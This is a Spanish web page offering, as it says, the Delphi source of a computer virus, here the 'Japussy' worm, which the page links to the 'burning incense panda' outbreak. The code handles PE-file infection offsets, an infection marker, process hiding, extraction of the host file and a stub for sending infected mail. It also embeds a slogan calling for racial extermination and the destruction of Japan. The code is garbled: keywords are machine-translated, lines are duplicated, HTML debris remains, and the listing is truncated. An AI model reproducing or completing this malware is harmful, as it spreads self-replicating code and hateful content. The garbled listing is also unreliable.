Red de conocimiento informático - Conocimiento del nombre de dominio - Cómo utilizar el código fuente del virus

Cómo utilizar el código fuente del virus

El virus panda que quema incienso que causó pánico en Internet durante un tiempo en realidad fue escrito en DELPHI. El código fuente ahora se adjunta para aquellos que estén interesados ​​en conocerlo.

Código de programa

programa Japussy

usa

Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro}

; p>

usa

p>

const

HeaderSize = 82432; //El tamaño del cuerpo del virus

IconOffset = $12EB8; //Desplazamiento del icono principal del archivo PE

// Compilado en mi Delphi 5 SP1, otras versiones de Delphi pueden diferir

// Busque la cadena hexadecimal 2800000020 para encontrar el desplazamiento del icono principal

{

HeaderSize = 38912; //Tamaño del cuerpo del virus comprimido Upx

IconOffset = $92BC //Archivo PE comprimido Upx; desplazamiento del icono

//Upx 1.24W Uso: upx -9 --8086 Japussy.exe

}

IconSize = $2E8 //El tamaño de el ícono del archivo PE principal: 744 bytes

IconTail = IconOffset + IconSize; //Cola del ícono del archivo PE principal

ID = $4444BC;

/ Upx

ID = $4444444444; //Marca de infección

//Código basura para escribir

Catchword = 'Si es necesario matar una raza, hay que hacerlo Yamato.

' +

'¡Si un país necesita ser destruido, debe ser Japón! ' +

'*** W32.Japussy.Worm.A ***';

{$R *.RES}

función RegisterServiceProcess(dwProcessID , dwType: Integer):

stdcall; external 'Kernel32.dll'; //declaración de función

var

TmpFile: string; p>Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //Marca del sistema operativo japonés

{ Determinar si es Win9x }< / p>

función IsWin9x:

var

Ver: TOSVersionInfo

comenzar

Resultado:= Falso

p >

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

si no GetVersionEx(Ver) entonces

Salir

if (Ver.dwPlatformID; = VER_PLATFORM_WIN32_WINDOWS) luego //Win9x

Resultado:= Verdadero

fin

{Copiar entre flujos de datos}

Procedimiento <; /p>

procedimiento CopyStream(Src: TStream; sStartPos: Integer; Dst: Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Src: TStream; Dst : TStream;

dStartPos: Entero; Contar: Entero

var

sCurPos, dCurPos:

comenzar

sCurPos := Src.Position;

dCurPos := Dst.Position

Src.Seek(sStartPos, 0);

Dst.Seek ( dStartPos, 0);

Dst.CopyFrom(Src, Dst.CurPos)

Dst.Seek(dStartPos, 0);

Dst.CopyFrom( Fuente). , Contar);

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

fin; p>{Transferir el archivo host desde el archivo PE infectado para su uso}

Proced.

procedure ExtractFile(FileName: string

var

<); p>sStream, dStream:TFileStream;

comenzar

intentar <

/p>

sStream := TFileStream.Create(ParamStr(0), fmOpenRead o fmShareDenyNone);

pruebe

dStream := TFileStream.Create( FileName, fmCreate);

pruebe

sStream.Seek(HeaderSize, fmShareDenyNone);

pruebe

dStream := TFileStream.Create( FileName, fmCreate)

prueba

sStream.Seek(HeaderSize, fmShareDenyNone)

{Rellena la estructura STARTUPINFO}

Proceso

procedimiento FillStartupInfo(var Si: STARTUPINFO; Estado: Palabra);

comenzar

Si.cb := TamañoDe(Si); /p> p>

Si.lpDesktop := nil;

Si.lpTitle := nil

Si.dwFlags := STARTF_USESHOWWINDOW

Si.wShowWindow := Estado;

Si.cbReserved2 := 0

Si.lpReserved2 := nil

fin; >{ Enviar PoisonedMail }

procedimiento (programa)

procedimiento SendMail

comenzar

;